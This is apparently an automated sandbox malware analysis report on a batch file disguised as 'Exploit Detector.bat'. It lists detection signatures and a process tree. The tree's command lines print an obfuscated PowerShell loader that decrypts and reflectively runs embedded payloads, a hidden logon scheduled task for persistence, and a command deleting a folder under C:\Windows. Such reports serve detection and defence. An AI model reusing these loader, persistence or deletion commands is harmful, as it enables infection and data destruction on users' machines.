Edit tour
Windows
Analysis Report
Exploit Detector.bat
Overview
General Information
| Sample name: | Exploit Detector.bat |
| Analysis ID: | 1553088 |
| MD5: | c88c0f71749f8575068070333359f5b5 |
| SHA1: | af3cbd68266ab3b90bef8db45f8e22e1f4d9d121 |
| SHA256: | d1a6da3bb5b455c45056ff4b7e29270c29728e6e1add468a9a3e8ff88d6c3afb |
| Tags: | batwalkout-ddnsgeek-comuser-JAMESWT_MHT |
| Infos: |   |
 | |
Detection
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Powershell decrypt and execute
AI detected suspicious sample
Connects to a pastebin service (likely for C&C)
Hides that the sample has been downloaded from the Internet (zone.identifier)
Installs a global keyboard hook
Loading BitLocker PowerShell Module
Powershell drops PE file
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: DLL Search Order Hijackig Via Additional Space in Path
Sigma detected: Invoke-Obfuscation CLIP+ Launcher
Sigma detected: Invoke-Obfuscation VAR+ Launcher
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Suspicious command line found
Suspicious powershell command line found
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Deletes files inside the Windows folder
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Communication To Uncommon Destination Ports
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
cmd.exe (PID: 5820 cmdline: C:\Windows \system32\ cmd.exe /c ""C:\User s\user\Des ktop\Explo it Detecto r.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 6264 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 2188 cmdline:
C:\Windows \system32\ cmd.exe /S /D /c" ec ho cls;pow ershell -w hidden;fu nction dec rypt_funct ion($param _var){ $ae s_var=[Sys tem.Securi ty.Cryptog raphy.Aes] ::Create() ; $aes_var .Mode=[Sys tem.Securi ty.Cryptog raphy.Ciph erMode]::C BC; $aes_v ar.Padding =[System.S ecurity.Cr yptography .PaddingMo de]::PKCS7 ; $aes_var .Key=[Syst em.Convert ]::FromBas e64String( 'CaBNPFufq G/Ty3CUXy9 EKmZ0sYpFg 7Md+6rAZ0/ TxhU='); $ aes_var.IV =[System.C onvert]::F romBase64S tring('S/R Voa3ixa8FZ Y/sBX5WEg= ='); $decr yptor_var= $aes_var.C reateDecry ptor(); $r eturn_var= $decryptor _var.Trans formFinalB lock($para m_var, 0, $param_var .Length); $decryptor _var.Dispo se(); $aes _var.Dispo se(); $ret urn_var;}f unction de compress_f unction($p aram_var){ IEX '$hsU Wk=New-Obj ect System .IO.M*em*o r*yS*tr*ea *m(,$param _var);'.Re place('*', ''); IEX '$yefxQ=Ne w-Object S ystem.IO.* M*e*m*o*r* y*S*t*r*e* a*m*;'.Rep lace('*', ''); IEX ' $duVIf=New -Object Sy stem.IO.C* om*pr*e*ss *io*n.*GZ* ip*St*re*a m*($hsUWk, [IO.C*om* pr*es*si*o n*.Co*mp*r e*ss*i*o*n *Mode]::D* e*c*omp*re *ss);'.Rep lace('*', ''); $duVI f.CopyTo($ yefxQ); $d uVIf.Dispo se(); $hsU Wk.Dispose (); $yefxQ .Dispose() ; $yefxQ.T oArray();} function e xecute_fun ction($par am_var,$pa ram2_var){ IEX '$jXY NL=[System .R*e*fl*ec t*io*n.*As *se*mb*l*y *]::L*o*a* d*([byte[] ]$param_va r);'.Repla ce('*', '' ); IEX '$G LWuz=$jXYN L.*E*n*t*r *y*P*o*i*n *t*;'.Repl ace('*', ' '); IEX '$ GLWuz.*I*n *v*o*k*e*( $null, $pa ram2_var); '.Replace( '*', '');} $AfZnh = ' C:\Users\u ser\Deskto p\Exploit Detector.b at';$host. UI.RawUI.W indowTitle = $AfZnh; $BPwyt=[Sy stem.IO.Fi le]::ReadA llText($Af Znh).Split ([Environm ent]::NewL ine);forea ch ($MIYkU in $BPwyt ) { if ($M IYkU.Start sWith('iti QGYtwhhNAp DlOfuVM')) { $whOtj= $MIYkU.Sub string(20) ; break; } }$payloads _var=[stri ng[]]$whOt j.Split('\ ');$payloa d1_var=dec ompress_fu nction (de crypt_func tion ([Con vert]::Fro mBase64Str ing($paylo ads_var[0] .Replace(' #', '/').R eplace('@' , 'A')))); $payload2_ var=decomp ress_funct ion (decry pt_functio n ([Conver t]::FromBa se64String ($payloads _var[1].Re place('#', '/').Repl ace('@', ' A'))));$pa yload3_var =decompres s_function (decrypt_ function ( [Convert]: :FromBase6 4String($p ayloads_va r[2].Repla ce('#', '/ ').Replace ('@', 'A') )));execut e_function $payload1 _var $null ;execute_f unction $p ayload2_va r $null;ex ecute_func tion $payl oad3_var ( ,[string[] ] ('')); " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) 
powershell.exe (PID: 5280 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 4072 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -w hidden MD5: 04029E121A0CFA5991749937DD22A1D9) - cmd.exe (PID: 2404 cmdline:
C:\Windows \system32\ cmd.exe /c ""C:\User s\user\App Data\Roami ng\temp\mb bkel3.cmd" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 5700 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 4092 cmdline:
C:\Windows \system32\ cmd.exe /S /D /c" ec ho cls;pow ershell -w hidden;fu nction dec rypt_funct ion($param _var){ $ae s_var=[Sys tem.Securi ty.Cryptog raphy.Aes] ::Create() ; $aes_var .Mode=[Sys tem.Securi ty.Cryptog raphy.Ciph erMode]::C BC; $aes_v ar.Padding =[System.S ecurity.Cr yptography .PaddingMo de]::PKCS7 ; $aes_var .Key=[Syst em.Convert ]::FromBas e64String( 'dZwBIL8mR iTZatOT8DH uTDuk3Oo1l 68JNKsZ1rA NWLs='); $ aes_var.IV =[System.C onvert]::F romBase64S tring('VRF aPmL5cO3W9 9Q3sAgvnA= ='); $decr yptor_var= $aes_var.C reateDecry ptor(); $r eturn_var= $decryptor _var.Trans formFinalB lock($para m_var, 0, $param_var .Length); $decryptor _var.Dispo se(); $aes _var.Dispo se(); $ret urn_var;}f unction de compress_f unction($p aram_var){ IEX '$Sop qh=New-Obj ect System .IO.M*em*o r*yS*tr*ea *m(,$param _var);'.Re place('*', ''); IEX '$LWDBe=Ne w-Object S ystem.IO.* M*e*m*o*r* y*S*t*r*e* a*m*;'.Rep lace('*', ''); IEX ' $TccZi=New -Object Sy stem.IO.C* om*pr*e*ss *io*n.*GZ* ip*St*re*a m*($Sopqh, [IO.C*om* pr*es*si*o n*.Co*mp*r e*ss*i*o*n *Mode]::D* e*c*omp*re *ss);'.Rep lace('*', ''); $TccZ i.CopyTo($ LWDBe); $T ccZi.Dispo se(); $Sop qh.Dispose (); $LWDBe .Dispose() ; $LWDBe.T oArray();} function e xecute_fun ction($par am_var,$pa ram2_var){ IEX '$MWn nv=[System .R*e*fl*ec t*io*n.*As *se*mb*l*y *]::L*o*a* d*([byte[] ]$param_va r);'.Repla ce('*', '' ); IEX '$j HyaV=$MWnn v.*E*n*t*r *y*P*o*i*n *t*;'.Repl ace('*', ' '); IEX '$ jHyaV.*I*n *v*o*k*e*( $null, $pa ram2_var); '.Replace( '*', '');} $mjRKG = ' C:\Users\u ser\AppDat a\Roaming\ temp\mbbke l3.cmd';$h ost.UI.Raw UI.WindowT itle = $mj RKG;$ysPnv =[System.I O.File]::R eadAllText ($mjRKG).S plit([Envi ronment]:: NewLine);f oreach ($a krhi in $y sPnv) { if ($akrhi.S tartsWith( 'dUMGHfMAI tMYvjVTxFt d')) { $XD rXi=$akrhi .Substring (20); brea k; }}$payl oads_var=[ string[]]$ XDrXi.Spli t('\');$pa yload1_var =decompres s_function (decrypt_ function ( [Convert]: :FromBase6 4String($p ayloads_va r[0].Repla ce('#', '/ ').Replace ('@', 'A') )));$paylo ad2_var=de compress_f unction (d ecrypt_fun ction ([Co nvert]::Fr omBase64St ring($payl oads_var[1 ].Replace( '#', '/'). Replace('@ ', 'A')))) ;$payload3 _var=decom press_func tion (decr ypt_functi on ([Conve rt]::FromB ase64Strin g($payload s_var[2].R eplace('#' , '/').Rep lace('@', 'A'))));ex ecute_func tion $payl oad1_var $ null;execu te_functio n $payload 2_var $nul l;execute_ function $ payload3_v ar (,[stri ng[]] ('') ); " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - powershell.exe (PID: 4032 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -w hidden MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 3544 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -w hidden MD5: 04029E121A0CFA5991749937DD22A1D9) - cmd.exe (PID: 5048 cmdline:
"C:\Window s\System32 \cmd.exe" /c "C:\Win dows \Syst em32\Compu terDefault s.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 5100 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 2680 cmdline:
"C:\Window s\System32 \cmd.exe" /c rmdir " c:\Windows \"/s /q MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 5952 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 3776 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" [Console]: :Title = ( (Get-Sched uledTask). Actions.Ex ecute -joi n '').Cont ains('C:\U sers\user\ Desktop\Ex ploit Dete ctor') MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 2216 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 2012 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" Register-S cheduledTa sk -TaskNa me 'OneNot e startup_ str' -Trig ger (New-S cheduledTa skTrigger -AtLogon) -Action (N ew-Schedul edTaskActi on -Execut e 'C:\User s\user\App Data\Roami ng\SCV.cmd ') -Settin gs (New-Sc heduledTas kSettingsS et -AllowS tartIfOnBa tteries -H idden -Exe cutionTime Limit 0) - RunLevel H ighest -Fo rce MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 1280 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
- cmd.exe (PID: 1512 cmdline:
C:\Windows \SYSTEM32\ cmd.exe /c "C:\Users \user\AppD ata\Roamin g\SCV.cmd" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 5692 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
- cleanup
⊘No configs have been found
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
| |
| INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
| |
| INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
| |
| INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
|
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_PowershellDecryptAndExecute | Yara detected Powershell decrypt and execute | Joe Security | ||
| JoeSecurity_PowershellDecryptAndExecute | Yara detected Powershell decrypt and execute | Joe Security |
System Summary |   |
|---|
| Source: | Author: Florian Roth (Nextron Systems): | ||